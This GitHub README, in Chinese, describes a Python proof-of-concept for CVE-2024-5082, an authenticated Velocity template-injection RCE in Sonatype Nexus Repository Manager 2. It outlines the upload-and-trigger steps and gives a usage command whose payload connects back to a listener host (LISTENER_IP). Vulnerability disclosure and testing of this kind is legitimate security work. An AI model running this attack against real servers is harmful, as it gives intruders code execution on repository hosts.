h4mr3r/CVE-2024-5082
GitHub: h4mr3r/CVE-2024-5082
针对 Sonatype Nexus Repository Manager 2 CVE-2024-5082 漏洞的 Python 概念验证脚本,通过上传特制 Maven artifact 触发 Velocity 模板注入实现授权远程代码执行。
Stars: 0 | Forks: 1
## 概述
本仓库包含一个用于 **CVE-2024-5082** 的 Python 概念验证,这是 Sonatype Nexus Repository Manager 2 中的一个远程代码执行漏洞。
该漏洞允许具有足够权限的用户发布特制的 Maven artifact,并将其标记为由 Velocity 内容生成器处理。当检索该 artifact 时,嵌入的 Velocity 模板会被 Nexus 解析,并可能在 Nexus JVM 的安全上下文中执行命令。
根据 Sonatype 的说明:
- 受影响的版本包括 Nexus Repository Manager 2.x 及以下直至 **2.15.1** 的版本;
- 该问题已在 **2.15.2** 中修复;
- Nexus Repository 2 已于 **2025 年 6 月 30 日** 寿终正寝,应迁移至 Nexus Repository 3。
## 重要范围说明
命令是在 **Nexus Repository 主机** 上执行的。
从构建服务器、应用服务器或开发者工作站下载受影响的 artifact,本身并不会在执行下载的系统上运行嵌入的命令。然而,如果攻击者随后篡改受信任的 artifact、构建输入、凭据或仓库配置,仓库管理系统的被攻破可能会带来更广泛的供应链风险。
## PoC 工作原理
该脚本:
1. 在 Maven 风格的 namespace 下生成一个唯一的标记路径。
2. 将特制的 `maven-metadata.xml` 文件上传到选定的托管仓库中。
3. 更新相应的 Nexus 属性,以便将内容生成器设置为 `velocity`。
4. 检索已上传的 artifact,触发 Nexus 处理模板。
5. 尝试在清理期间移除已上传的标记 artifact。
提供的 payload 会创建一个从 Nexus 主机到已配置监听器地址的出站 TCP 连接。
## 身份验证与权限
当前脚本使用 HTTP Basic Authentication,并要求:
- 有效的 Nexus 用户名和密码;
- 在选定仓库中创建或更新内容的权限;
- PoC 所使用的属性更新权限。
## 用法
```
python3 cve_2024_5082.py \\
--base-url https://nexus.example.test/nexus \\
--repository security-test-snapshots \\
--username test-user \\
--password 'REDACTED' \\
--lhost LISTENER_IP \\
--lport 8000
```
标签:PoC, Python, Sonatype Nexus, 文档安全, 无后门, 暴力破解, 编程工具, 远程代码执行, 逆向工具